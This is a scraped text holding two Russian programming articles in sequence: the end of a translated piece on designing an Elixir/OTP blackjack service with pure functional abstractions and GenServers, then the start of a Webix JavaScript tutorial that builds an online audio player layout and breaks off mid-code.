Функция `take/1` возвращает либо `{:ok, card_taken, rest_of_the_deck}`, либо `{:error, :empty}`. Такой интерфейс заставляет клиента (пользователя абстракции колоды) явно решать, как поступать в каждом случае.
Как мы можем это использовать:
```
deck = Blackjack.Deck.shuffled()
case Blackjack.Deck.take(deck) do
{:ok, card, transformed_deck} ->
# do something with the card and the transform deck
{:error, :empty} ->
# deck is empty -> do something else
end
```
Это пример того, что я люблю называть «функциональной абстракцией», что является причудливым названием для:
* кучи связанных функций,
* с описательными именами,
* которые не проявляют побочных эффектов,
* и могут быть извлечены в отдельный модуль
Для меня это то, что соответствует классам и объектам в объектно-ориентированном пространстве. В объектно-ориентированном языке у меня может быть класс `Deck` с соответствующими методами, здесь у меня есть модуль `Deck` с соответствующими функциями. Предпочтительно (хотя и не всегда стоит затраченных усилий), чтобы функции только преобразовывали данные, не имея дело с темпоральной логикой или побочными эффектами (обмен сообщениями между процессами, база данных, сетевые запросы, тайм-ауты и т. д.)
Не так важно, находятся ли эти функции в выделенном модуле. Код этой абстракции довольно прост и используется только в одном месте. Поэтому я мог бы также определить приватные функции `shuffled_deck/0` и `take_card/1` в клиентском модуле. Фактически, это то, что я часто делаю, если код достаточно мал. Я всегда могу выделить это позже, если что-то усложнится. (прим. переводчика: не совсем уловил здесь мысль, которую хотел донести автор)
Важным моментом является то, что концепция колоды основана на чистых функциях. Не нужно обращаться к агенту, чтобы управлять колодой карт.
Полный код модуля доступен [здесь](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/deck.ex).
#### Рука
Эту же технику можно использовать для управления рукой. Эта абстракция отслеживает карты в руке. Она также умеет подсчитывать очки и определять статус руки (`:ok` или `:busted`). Реализация находится в модуле [Blackjack.Hand](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/hand.ex).
Модуль выполняет две функции. Мы используем `new/0` для создания экземпляра руки, а затем `deal/2`, чтобы раздать карту руке. Вот пример комбинации руки и колоды:
```
# create a deck
deck = Blackjack.Deck.shuffled()
# create a hand
hand = Blackjack.Hand.new()
# draw one card from the deck
{:ok, card, deck} = Blackjack.Deck.take(deck)
# give the card to the hand
result = Blackjack.Hand.deal(hand, card)
```
Результат `deal/2` вернётся в форме `{hand_status, transformed_hand}`, где `hand_status` это или `:ok` или `:busted`.
#### Раунд
Эта абстракция, реализованная в модуле [Blackjack.Round](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round.ex), связывает всё воедино. Она имеет следующие обязанности:
* сохранять состояния колоды
* держать состояние всех рук в раунде
* решать, кому переходит следующий ход
* получать и интерпретировать ход игрока (хит / стоп)
* брать карты из колоды и передавать их текущей руке
* вычислять победителя после того, как все руки разыграны
Абстракция раунда будет следовать тому же функциональному подходу, что и колода с рукой. Однако здесь есть дополнительный поворот, который касается выделения темпоральной логики. Раунд занимает некоторое время и требует взаимодействия с игроками. Например, когда начинается раунд, первый игрок должен быть проинформирован о первых двух картах, которые он получил, а затем он должен быть проинформирован о том, что пришла его очередь сделать ход. Затем раунду нужно дождаться, пока игрок сделает ход, и только после этого он сможет пойти дальше.
У меня сложилось впечатление, что многие люди, включая опытных эрлангистов/эликсирщиков, реализовали бы концепцию раунда непосредственно в `GenServer` или в `:gen_statem`. Это позволит им управлять состоянием раунда и темпоральной логикой (например, общением с игроками) в одном месте.
Однако я считаю, что эти два аспекта необходимо разделить, поскольку оба они потенциально сложны. Логика одного раунда уже в некоторой степени запутана, и она может только ухудшиться, если мы захотим поддержать дополнительные аспекты игры, такие как ставки, сплиты или раздающего игрока. Общение с игроками имеет свои проблемы, если мы хотим иметь дело с расщеплениями сети(netsplits), сбоями, медленными или недоступными клиентами. В этих случаях нам может потребоваться поддержка повторных попыток, возможно, добавить некоторую персистентность, event sourcing или что-то еще.
Я не хочу объединять эти две сложные задачи вместе, потому что они запутаются, и с кодом будет труднее работать. Я хочу перенести временн*ы*е проблемы в другое место и получить чистую предметную модель раунда блэкджека.
Поэтому вместо этого я выбрал подход, с которым не часто сталкиваюсь. Я уловил концепцию раунда в простой функциональной абстракции.
Позвольте показать вам код. Чтобы создать новый раунд, мне нужно вызвать `start/1`:
```
{instructions, round} = Blackjack.Round.start([:player_1, :player_2])
```
Аргумент, который мне нужно передать, - это список идентификаторов игроков. Это могут быть произвольные термы, которые будут использоваться абстракцией для различных целей:
* создание руки для каждого игрока
* отслеживание текущего игрока
* отправка уведомлений игрокам
Функция возвращает кортеж. Первый элемент кортежа - это список инструкций. Пример:
```
[
{:notify_player, :player_1, {:deal_card, %{rank: 4, suit: :hearts}}},
{:notify_player, :player_1, {:deal_card, %{rank: 8, suit: :diamonds}}},
{:notify_player, :player_1, :move}
]
```
Инструкции - это способ, которым абстракция информирует своего клиента о том, что необходимо сделать. Как только мы начинаем раунд, в первую руку передаются две карты, а затем экземпляр раунда ожидает хода игрока. Итак, в этом примере абстракция инструктирует нас:
* уведомить игрока 1, что он получил четвёрку червей
* уведомить игрока 1, что он получил восьмёрку бубён
* уведомить игрока 1, что ему нужно сделать ход
Фактическая доставка этих уведомлений заинтересованным игрокам является ответственностью клиентского кода. Клиентским кодом может быть, скажем, `GenServer`, который будет отправлять сообщения процессам игроков. Он также будет ждать, пока игроки не сообщат, когда они захотят взаимодействовать с игрой. Это временн*а*я(темпоральная) логика, и она полностью хранится за пределами модуля `Round`.
Второй элемент возвращённого кортежа, называется `round`, это состояние самого раунда. Стоит отметить, что эти данные [типизированы как непрозрачные](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round.ex#L10). Это значит, что клиент не может читать эти данные внутри переменной `round`. Всё, что нужно клиенту, будет доставлено в списке `instruction`.
Давайте продвинемся на шаг вперед в этом раунде, взяв следующую карту игроком 1:
```
{instructions, round} = Blackjack.Round.move(round, :player_1, :hit)
```
Мне нужно передать идентификатор игрока, чтобы абстракция могла проверить, правильный ли игрок делает ход. Если я передам неверный идентификатор, абстракция попросит меня уведомить игрока, что сейчас не его ход.
Вот инструкции, которые я получил:
```
[
{:notify_player, :player_1, {:deal_card, %{rank: 10, suit: :spades}}},
{:notify_player, :player_1, :busted},
{:notify_player, :player_2, {:deal_card, %{rank: :ace, suit: :spades}}},
{:notify_player, :player_2, {:deal_card, %{rank: :jack, suit: :spades}}},
{:notify_player, :player_2, :move}
]
```
Этот список говорит мне, что игрок 1 получил десятку пик. Поскольку раньше у него было 4 червы и 8 бубён, игрок вылетает из игры, и раунд немедленно переходит к следующей руке. Клиенту предлагается уведомить игрока 2 о том, что у него есть две карты, и что он должен сделать ход.
Сделаем ход от имени игрока 2:
```
{instructions, round} = Blackjack.Round.move(round, :player_2, :stand)
# instructions:
[
{:notify_player, :player_1, {:winners, [:player_2]}}
{:notify_player, :player_2, {:winners, [:player_2]}}
]
```
Игрок 2 не взял другую карту, поэтому его рука завершена. Абстракция немедленно определяет победителя и инструктирует нас проинформировать обоих игроков о результате.
Давайте посмотрим, как `Round` прекрасно сочетается с абстракциями `Deck` и `Hand`. Следующая функция из модуля `Round` берет карту из колоды и передает ее текущей руке:
```
defp deal(round) do
{:ok, card, deck} =
with {:error, :empty} <- Blackjack.Deck.take(round.deck), do:
Blackjack.Deck.take(Blackjack.Deck.shuffled())
{hand_status, hand} = Hand.deal(round.current_hand, card)
round =
%Round{round | deck: deck, current_hand: hand}
|> notify_player(round.current_player_id, {:deal_card, card})
{hand_status, round}
end
```
Берём карту из колоды, используя новую колоду, если текущая закончилась. Затем мы передаем карту в текущую руку, обновляем раунд новой рукой и статусом колоды, добавляем инструкцию по уведомлению о данной карте и возвращаем статус руки (`:ok` или `:busted`) и обновленный раунд. Никаких дополнительных процессов в этом процессе не задействовано :-)
Вызов `notify_player` - это простой однострочник, который избавляет этот модуль от многих сложностей. Без него нам нужно было бы отправить сообщение другому процессу (например, другому GenServer или каналу Phoenix). Пришлось бы как-то найти этот процесс и рассмотреть случаи, когда этот процесс не запущен. Вместе с кодом, который моделирует ход раунда, пришлось бы связать много дополнительных сложностей.
Но благодаря механизму инструкций, ничего из этого не случилось, и модуль `Round` остался сфокусированным на правилах игры. Функция `notify_player` будет [сохранять инструкцию](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round.ex#L132). Позже, перед выходом, функция `take_instructions` из `Round` будет [забирать все ожидающие инструкции, и возвращать их по отдельности](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round.ex#L144-L145), вынуждая клиентский код интерпретировать их.
В качестве бонуса, этот код теперь может быть использован разными типами клиентов. В примерах выше, я дёргал его вручную из сессии. Другой пример - [вызывать этот код в тестах](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/test/round_test.exs#L22-L30). Эта абстракция теперь может быть легко протестирована, без необходимости производить сайд эффекты или наблюдать их.
### Организация процесса
После завершения работы над базовой чистой моделью пришла пора обратить наше внимание на процессную сторону вещей. Как я уже говорил ранее, я буду проводить каждый раунд в отдельном процессе. Я считаю, что в этом есть смысл, поскольку разные раунды не имеют ничего общего. Следовательно, их запуск по отдельности дает нам лучшую эффективность, масштабируемость и изоляцию ошибок.
#### Сервер раунда
Каждый раунд управляется модулем [Blackjack.RoundServer](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round_server.ex), который есть `GenServer`. `Agent` также мог бы подойти для этих целей, но я не фанат агентов, так что я остановлюсь на `GenServer`. Ваши предпочтения могут отличаться, конечно, и я полностью уважаю ваше мнение :-)
Чтобы запустить процесс, нам нужно вызвать функцию `start_playing/2`. Это имя выбрано вместо более распространенного `start_link`, поскольку `start_link` по соглашению ссылается на вызывающий процесс. Напротив, `start_playing` начнет раунд где-то еще в дереве надзора, и процесс не будет связан с вызывающим.
Функция принимает два аргумента: идентификатор раунда и список игроков. Идентификатор раунда - это произвольный уникальный терм, который должен быть выбран клиентом. Серверный процесс будет зарегистрирован во внутреннем реестре с использованием этого идентификатора.
Каждая запись в списке игроков представляет собой словарь, описывающий клиентскую часть игрока:
```
@type player ::
%{id: Round.player_id, callback_mod: module, callback_arg: any}
```
Игрок описывается его идентификатором, модулем обратного вызова и аргументом обратного вызова. Идентификатор будет передан абстракции раунда. Всякий раз, когда абстракция инструктирует сервер уведомить некоторого игрока, сервер вызывает `callback_mod.some_function (some_arguments)`, где `some_arguments` будет включать идентификатор раунда, идентификатор игрока, `callback_arg` и дополнительные аргументы, специфичные для уведомления.
Подход `callback_mod` позволяет нам поддерживать различные типы игроков, такие как:
* игроков, подключенных через HTTP
* игроков, подключенных через настраиваемый протокол TCP
* игрок в сеансе оболочки iex
* автоматических игроков (ботов)
Мы легко справимся со всеми этими игроками в одном раунде. Сервер не заботится ни о чём из этого, он просто вызывает функции обратного вызова модуля обратного вызова и позволяет реализации выполнять работу.
Функции, которые должны быть реализованы в модуле обратного вызова, перечислены [здесь](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/notifier.ex#L6-L10):
```
@callback deal_card(RoundServer.callback_arg, Round.player_id,
Blackjack.Deck.card) :: any
@callback move(RoundServer.callback_arg, Round.player_id) :: any
@callback busted(RoundServer.callback_arg, Round.player_id) :: any
@callback winners(RoundServer.callback_arg, Round.player_id,
[Round.player_id]) :: any
@callback unauthorized_move(RoundServer.callback_arg, Round.player_id) ::
any
```
Эти сигнатуры показывают, что реализация не может управлять своим состоянием в серверном процессе. Это намеренное решение, которое практически вынуждает игроков выходить за пределы раунда. Это помогает нам изолировать состояние раунда. Если игрок выходит из строя или отключается, сервер раунда продолжает работать и может справиться с ситуацией, например, исключить игрока из игры, если он не сможет сходить в течение заданного времени.
Другое приятное следствие такого дизайна - это то, что тестирование этого сервера довольно просто. Тест реализует уведомления путём [отправки сообщений самому себе из каждого колбека](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/test/integration_test.exs#L40-L53). Затем тестирование сводится к [asserting/refuting определённых сообщений, и вызову](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/test/integration_test.exs#L6-L27) `RoundServer.move/3`, чтобы сделать ход от имени игрока.
#### Отправка сообщений
Когда функция модуля `Round` возвращает список инструкций серверному процессу, тот [пройдёт по этому списку, и интерпретирует инструкции](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round_server.ex#L69-L70).
Сами уведомления отправляются из отдельных процессов. Это пример, в котором мы можем получить преимущество от дополнительного параллелизма. Отправка уведомлений - это задача, отдельная от задачи управления состоянием раунда. Логика уведомлений может быть перегружена такими задачами, как медленные или отключенные клиенты, поэтому стоит делать это вне раунда. Более того, уведомления разным игрокам не имеют ничего общего, поэтому их можно отправлять из разных процессов. Однако нам нужно сохранить порядок уведомлений для каждого игрока, поэтому нам нужен отдельный процесс уведомления для каждого игрока.
Это реализовано в модуле [Blackjack.PlayerNotifier](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/notifier.ex), процессе на основе `GenServer`, чья роль - отправлять уведомление отдельному игроку. Когда мы стартуем сервер раунда функцией `start_playing/2`, запускается [небольшое поддерево надзора](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/round_server.ex#L34-L40) в котором размещается сервер раунда вместе с [одним сервером уведомлений на каждого игрока в раунде](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/notifier.ex#L19).
Когда сервер раунда делает ход, он получает список инструкций от абстракции раунда. Затем он перенаправляет каждую инструкцию соответствующему серверу уведомлений, который [интерпретирует эту инструкцию и вызывает соответствующий модуль/функцию/аргументы(M/F/A)](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack/notifier.ex#L44-L46) для уведомления игрока.
Следовательно, если нам нужно уведомить нескольких игроков, мы сделаем это отдельно (и, возможно, параллельно). Как следствие, общий порядок сообщений не сохраняется. Рассмотрим следующую последовательность инструкций:
```
[
{:notify_player, :player_1, {:deal_card, %{rank: 10, suit: :spades}}},
{:notify_player, :player_1, :busted},
{:notify_player, :player_2, {:deal_card, %{rank: :ace, suit: :spades}}},
{:notify_player, :player_2, {:deal_card, %{rank: :jack, suit: :spades}}},
{:notify_player, :player_2, :move}
]
```
Может случиться так, что сообщения `player_2` придут до того, как `player_1` будет проинформирован о том, что он остановлен. Но это нормально, ведь это два разных игрока. Порядок сообщений для каждого игрока, конечно же, сохраняется, благодаря процессу сервера уведомлений, зависящему от конкретного игрока.
Прежде чем закончить, я хочу еще раз подчеркнуть свою точку зрения: благодаря дизайну и функциональному характеру модуля `Round`, вся эта сложность уведомлений находится за пределами модели предметной области. Точно так же часть уведомления не связана с логикой домена.
#### Сервис блэкджека
Картинка завершается в виде приложения OTP `:blackjack` (модуль [Blackjack](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/blackjack.ex)). Когда вы запускаете приложение, запускается пара локально зарегистрированных процессов: экземпляр внутреннего реестра `Registry` (используется для регистрации серверов раунда и уведомлений) и супервизор `:simple_one_for_one`, который будет размещать поддерево процесса для каждого раунда.
Это приложение теперь в основном представляет собой сервис блэкджека, который может управлять несколькими раундами. Сервис является универсальным и не зависит от конкретного интерфейса. Вы можете использовать его с Phoenix, Cowboy, Ranch (для простого TCP), elli или любым другим, подходящим для ваших целей. Вы реализуете модуль обратного вызова, запускаете клиентские процессы и запускаете сервер раунда.
Вы можете посмотреть примеры в модуле [Demo](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/demo.ex), который реализует [простого автоигрока](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/demo.ex#L88-L107), [модуль обратного вызова сервиса уведомлений, основанного на GenServer](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/demo.ex#L18), и [логику старта, которая стартует раунд с пятью игроками](https://github.com/sasa1977/erlangelist/blob/dc7cd1d2c77e52fa0a3a90f269c0f4ca8cca908b/examples/blackjack/lib/demo.ex#L2-L15):
```
$ iex -S mix
iex(1)> Demo.run
player_1: 4 of spades
player_1: 3 of hearts
player_1: thinking ...
player_1: hit
player_1: 8 of spades
player_1: thinking ...
player_1: stand
player_2: 10 of diamonds
player_2: 3 of spades
player_2: thinking ...
player_2: hit
player_2: 3 of diamonds
player_2: thinking ...
player_2: hit
player_2: king of spades
player_2: busted
...
```
Вот как выглядит дерево надзора, когда у нас есть пять одновременных раундов, в каждом по пять игроков:
### Заключение
Итак, можем ли мы управлять сложным состоянием в одном процессе? Конечно, можем! Простые функциональные абстракции, такие как `Deck` and `Hand`, позволили мне разделить проблемы более сложного состояния раунда без необходимости прибегать к помощи агентов.
Однако это не означает, что мы должны быть консервативными в отношении процессов. Используйте процессы везде, где они имеют смысл и приносят очевидные преимущества. Выполнение различных раундов в отдельных процессах улучшает масштабируемость, отказоустойчивость и общую производительность системы. То же самое касается процессов уведомления. Это разные задачи среды выполнения, поэтому нет необходимости запускать их в одном контексте времени выполнения.
Если временн*а*я логика и/или логика предметной области сложны, рассмотрите возможность их разделения. Подход, который я использовал, позволил мне реализовать более сложное поведение во время выполнения (одновременные уведомления), не усложняя бизнес-процесс раунда. Это разделение также ставит меня в удобное положение, поскольку теперь я могу развивать оба аспекта по отдельности. Добавление поддержки бизнес-концепций дилера, сплита, страхования и других не должно существенно влиять на аспект выполнения. Точно так же поддержка расщеплений сети(netsplits), повторных подключений, сбоев игрока или тайм-аутов не должна требовать изменений в логике домена.
Наконец, стоит помнить о конечной цели. Хотя я туда не ходил (пока), я всегда планировал, что этот код будет размещен на каком-то веб-сервере. Так что некоторые решения принимаются в поддержку этого сценария. В частности, реализация `RoundServer`, которая принимает модуль обратного вызова для каждого игрока, позволяет мне подключаться к различным типам клиентов, использующим различные технологии. Это делает сервис блэкджека независимым от конкретных библиотек и фреймворков (за исключением стандартных библиотек и OTP, конечно) и делает его полностью гибким. | https://habr.com/ru/post/551842/ | null | ru | null |
# Webix. Первое знакомство с JavaScript фреймворком
Эта статья предназначена для тех, кто хочет узнать об основах использования этого фреймворка. В ней я постараюсь подробно рассказать о том, как начать работу с Webix. Также стоит обратить внимание на то, какие дополнительные полезные инструменты, помимо библиотеки, предлагают разработчики.
В качестве примера я создал вот такую [заготовку](http://derrvish.github.io/webix-demo-player/) для онлайн плеера, что соответствует, на мой взгляд, духу времени, поскольку буквально всё нынче стремится утечь в онлайн, будь то хранение данных в облаках или потоковое аудио и видео.
Исходный код можно писать по мере прочтения статьи, а можно сразу скачать с [гитхаба](https://github.com/derrvish/webix-demo-player) и разбираться с ним в процессе.
В двух словах
-------------
[Webix](http://webix.com/ru/) — это JavaScript фреймворк, с помощью которого можно создавать десктопные и мобильные веб-приложения с отзывчивым дизайном. Фреймворк доступен под двумя лицензиями: GNU GPLv3 и коммерческой.
Особенности:
— **Легкость освоения**. [Документация](http://docs.webix.com/) довольно подробна, и понять, как все устроено, несложно. Для того, чтобы начать работу, не нужно быть JS-гуру или JS-ниндзя. Не нужно даже понимать, в чем разница между ними.
— **Интеграция с популярными фреймворками**. Реализована интеграция с [Backbone.js](http://backbonejs.org/), [AngularJS](https://angularjs.org/) и [jQuery](http://jquery.com/). Последняя фича, например, позволяет создавать Webix-виджеты с использованием jQuery-синтаксиса.
— **Интеграция со сторонними виджетами**. В этом пункте ограничимся списком: Mercury, Nicedit, Tinymce, CodeMirror, CKEditor, Raphael, D3, Sigma, JustGage, Google Maps, Nokia Maps, Yandex Maps, dhtmlxScheduler and dhtmlxGantt.
— **Размер — маленький, скорость — большая**. В сжатом виде .js-файл весит всего 128 КБ, и при этом все работает довольно-таки быстро (по словам разработчиков так и вовсе «летает»).
— **Поддержка тачскрина**. Созданные виджеты одинаково хорошо себя чувствуют как на десктопах, так и на смартфонах/планшетах.
От слов к делу
--------------
От списка особенностей, которые, думаю, мало кто читает от начала до конца, перейдем к практике. Но сначала предлагаю снова посетить [главную страницу](http://webix.com/ru/) библиотеки и обратить внимание на интерактивную демку. Она состоит всего из десяти (10!) строк кода. Результат выглядит довольно симпатично. Если открыть эту демку в отдельном окне (вот [ссылка](http://webix.com/snippet/80e19dda) на нее в онлайн-редакторе, если не хотите возиться) и поэкспериментировать с его размерами, можно убедиться в том, что виджет отображается корректно вне зависимости от предлагаемых обстоятельств. Может закрасться подозрение, что такое поведение не дается даром и нужно изрядно повозиться с таблицей стилей. Что ж, вот и проверим. Начать следует, как и положено, с начала.
### Скачать и распаковать. Впрочем, можно обойтись и без этого
Для того чтобы начать использовать библиотеку, нужно сперва получить необходимые файлы. Для этого нужно отправиться на [страницу загрузки](http://webix.com/ru/zagruzka/). Выбираем понравившуюся версию (готов поспорить, в 99 случаях из 100 ей окажется Standard ) — и получаем заветный zip-файл. Внутри можно обнаружить файлы `license.txt`, `readme.txt` и `whatsnew.txt`, которые могут показаться любопытными для тех, кто любит изучать все досконально. Помимо этого, интересным может оказаться содержимое папки `samples`, в которой можно посмотреть примеры того, что полезного с помощью Webix можно смастерить.
Но больше всего на данный момент нас интересует содержимое папки `codebase`, а именно два файла, которые понадобятся для работы: `webix.js` и `webix.css`. Для того, чтобы можно было использовать Webix, нужно включить эти файлы в HTML-файл будущего проекта:
```
Online Audio PLayer
```
Я также добавил теги , внутрь которых и будет помещен код будущего приложения.
Впрочем, архив с библиотекой можно даже не скачивать. Все необходимые файлы доступны через CDN. Чтобы использовать эту возможность, можно подключить эти файлы следующим образом:
```
```
Но лучше все же скачать библиотеку целиком. Помимо сэмплов, в архиве также можно найти набор скинов. Использовать их проще простого, и позже я покажу, как это можно сделать.
### Инициализация
Теперь можно перейти непосредственно к работе с Webix.
Вся Webix-магия происходит внутри конструктора `webix.ui()`. Если нужно удостовериться в том, что код начнет выполняться после того, как страница полностью загрузится, следует поместить его в `webix.ready(function(){})`. Выглядеть все это должно так:
```
webix.ready(function(){
webix.ui({
/*код приложения*/
});
});
```
### Лэйауты
Прежде чем перейти непосредственно к приложению, нужно разобраться, как можно создавать лэйауты. Наш будущий плеер будет состоять из следующих основных частей: **дерево каталогов**, в котором будут отображаться все доступные альбомы; **обложка альбома**; **плейлист** в виде таблицы и **панель управления**.
Для того, чтобы наполнить страницу содержимым нужно добавить описание необходимого элемента в формате JSON. Итак, приступим.
При создании лэйаута используются атрибуты `rows` и `cols`, с помощью которых можно создавать строки и столбцы соответственно. Вот пример создания простого лэйаута, состоящего из двух строк:
```
webix.ui({
rows: [
{ template:"Row One"},
{ template:"Row Two"}
]
});
```
Вот как будет выглядеть результат:
В этом примере с помощью `template:"Row One"` был создан простой контейнер, в который можно поместить любой HTML-контент.
Можно создавать вложенные контейнеры:
```
webix.ui({
rows: [
{ template:"Row One"},
{ cols:[
{ template:"Column One"},
{ template:"Column Two"}
]}
]
});
```
Результат:
Комбинируя вложенные строки и столбцы, можно добиться необходимого результата. По-умолчанию контейнеры заполняют все доступное пространство и, создавая четыре контейнера, мы получим четыре одинаковых прямоугольных области. Для того, чтобы задать нужные размеры элементов, можно использовать знакомые всем по CSS свойства `width` и `height`.
Таким образом, код для лэйаута нашего будущего плеера будет выглядеть вот так:
```
webix.ui({
rows: [
{type:"header", template:"Online Audio Player"},
{cols: [
{rows: [
{template:"Tree"},
{view:"resizer"},
{template:"Album Art", width: 250, height: 250}
]},
{view:"resizer"},
{rows: [
{template:"Playlist"},
{template:"Controls", height: 60}
]}
]
}
]
});
```
Помимо уже знакомых колонок и столбцов, я также добавил кое-что новое. `type:"header"` превращает элемент в заголовок. Также были добавлены несколько элементов `resizer`, которые, как и следует из названия, нужны для изменения размеров контейнера. Ресайзер, как и все прочие UI-компоненты, создаeтся с помощью свойства `view`, которое позволяет создавать списки, кнопки, формы и т.д.
Вот как выглядит макет будущего приложения на данном этапе:
Теперь у нас есть области нужных размеров и возможность изменить эти размеры на свой вкус.
Страница размечена, настало время вдохнуть жизнь в элементы нашего приложения.
### Посадить дерево… Знакомимся с Tree Widget
Начнем с [дерева](http://docs.webix.com/datatree__index.html) каталогов. Поскольку создание полнофункционального плеера выходит за рамки данной статьи (а также из нежелания столкнуться с возможными проблемами с копирайтом), вместо реальных файлов я использовал простые текстовые данные, которые будут помещены в файл `data.js`, который будет заполняться содержимым по мере необходимости. Сперва нужно добавить в него информацию об исполнителях и альбомах:
```
recordsData = [
{id:"1", value:"Oceansize", data: [
{id:"1.1", value:"Everyone Into Position"},
]},
{id:"2", value:"Little People", data: [
{id:"2.1", value:"Mickey Mouse Operation"},
]},
];
```
Двух исполнителей с одним альбомом для каждого из них будет достаточно, чтобы понять базовый принцип. Теперь нужно заставить дерево работать. Во-первых, необходимо подключить файл данных к HTML-фалу. Для этого нужно добавить следующий код между тегами :
```
```
Во-вторых, вместо `template:"Tree"` в фигурные скобки нужно вставить код, который создаст дерево:
```
view:"tree", data:"recordsData", select: true
```
Эта строка создает дерево на основе данных из массива `recordsData` из файла данных. `select: true` дает возможность выбирать один из элементов дерева, отключенную по-умолчанию.
Вот как это выглядит на данный момент:
### Выуживаем информацию. Использование таблиц для отображения данных
Теперь давайте посмотрим, как работают [таблицы данных](http://docs.webix.com/datatable__index.html). Для того, чтобы проверить их работу, нужно добавить в файл `data.js` два новых массива. `gridColumns` содержит названия столбцов, которые будут отображаться в нашем списке, а `oceanData` содержит информацию о треках для первого альбома первого исполнителя: название и продолжительность каждой песни.
```
gridColumns = [
{
dataIndex: "title",
header: "Title"
},
{
dataIndex: "duration",
header: "Duration"
}
];
oceanData = [
{id: "1", title: "01. The Charm Offensive", duration:"7:19"},
{id: "2", title: "02. Heaven Alive", duration:"6:20"},
{id: "3", title: "03. A Homage to Shame", duration:"5:52"},
{id: "4", title: "04. Meredith", duration:"5:26"},
{id: "5", title: "05. Music for a Nurse", duration:"8:16"},
{id: "6", title: "06. New Pin", duration:"5:11"},
{id: "7", title: "07. No Tomorrow", duration:"7:10"},
{id: "8", title: "08. Mine Host", duration:"4:10"},
{id: "9", title: "09. You Can’t Keep a Bad Man Down", duration:"7:36"},
{id: "10", title: "10. Ornament. The Last Wrongs", duration:"9:21"}
];
```
Для того, чтобы отобразить эти данные в виде сортируемой таблицы, нужно заменить `template:"Playlist"` на:
```
view:"datatable", autoConfig:true, data:oceanData
```
Работает этот код так: `view:"datatable"` создает таблицу данных, `autoConfig: true` помогает сконфигурировать таблицу и создать столбцы на основе данных из массива `gridColumns`. В качестве расходного материала для таблицы используется массив `oceanData`.
Вот как выглядит приложение с таблицей:
Прошу заметить, что данные в таблице можно сортировать но названиям или по длительности песни.
Все бы хорошо, да только вот дерево и плейлист работают отдельно друг от друга. Неплохо было бы научить их взаимодействовать.
### Операция «Кооперация». Заставляем дерево и список работать сообща
Для этого понадобится проделать некоторую подготовительную работу. Я постараюсь ее минимизировать, чтобы поскорее насладиться результатом.
Во-первых, недурно бы изменить формат данных в файле `data.js`. Нужно изменить `id` для альбомов, а также добавить информацию для альбома второго исполнителя, чтобы было из чего выбирать. Она не отличается от таковой для предыдущего, поэтому мы приведем только часть массива `peopleData`:
```
recordsData = [
{id:"1", value:"Oceansize", data: [
{id:"oceanData", value:"Everyone Into Position"},
]},
{id:"2", value:"Little People", data: [
{id:"peopleData", value:"Mickey Mouse Operation"},
]},
];
peopleData = [
{id: "1", title: "01. Basique", duration: "3:38"},
{id: "2", title: "02. Moon", duration: "3:47"},
<......>
];
```
Значение `id` для альбомов из массива `recordsData` совпадает с именем массива информации для соответствующего альбома. Это важно, потому что так будет быстрее.
Теперь вернемся к коду приложения. Сначала нужно создать переменную, в которой будет храниться значение элемента, выбранного в дереве. По-умолчанию она будет содержать значение первого альбома в списке. Затем нужно изменить код для построения дерева и таблицы, чтобы они смогли взаимодействовать друг с другом и реагировать на события:
```
var selected = oceanData;
webix.ui({
/*.....*/
{view:"tree", id:"myTree", data:"recordsData", select: oceanData, on: {
onSelectChange: function(){
selected = $$("myTree").getSelectedId();
if (isNaN(selected)) {
$$("myList").clearAll();
$$("myList").define("data", selected);
$$("myList").refresh();
}
}
}
},
/*...*/
{view:"datatable", id:"myList", autoConfig:true, data:selected}
```
Итак, что мы здесь имеем? Переменная `selected` по-умолчанию хранит значение первого альбома из дерева, данные которого и отображаются в таблице сразу после загрузки приложения. В код дерева и таблицы были добавлены атрибуты `id` со значениями `myTree` и `myList` соответственно. Они нужны для того, чтобы получить доступ к содержимому этих элементов. Свойство `select: oceanData` определяет `id` элемента списка, выбранного по-умолчанию. Далее используется обработчик событий. Код
```
on: {
onSelectChange: function(){
}
```
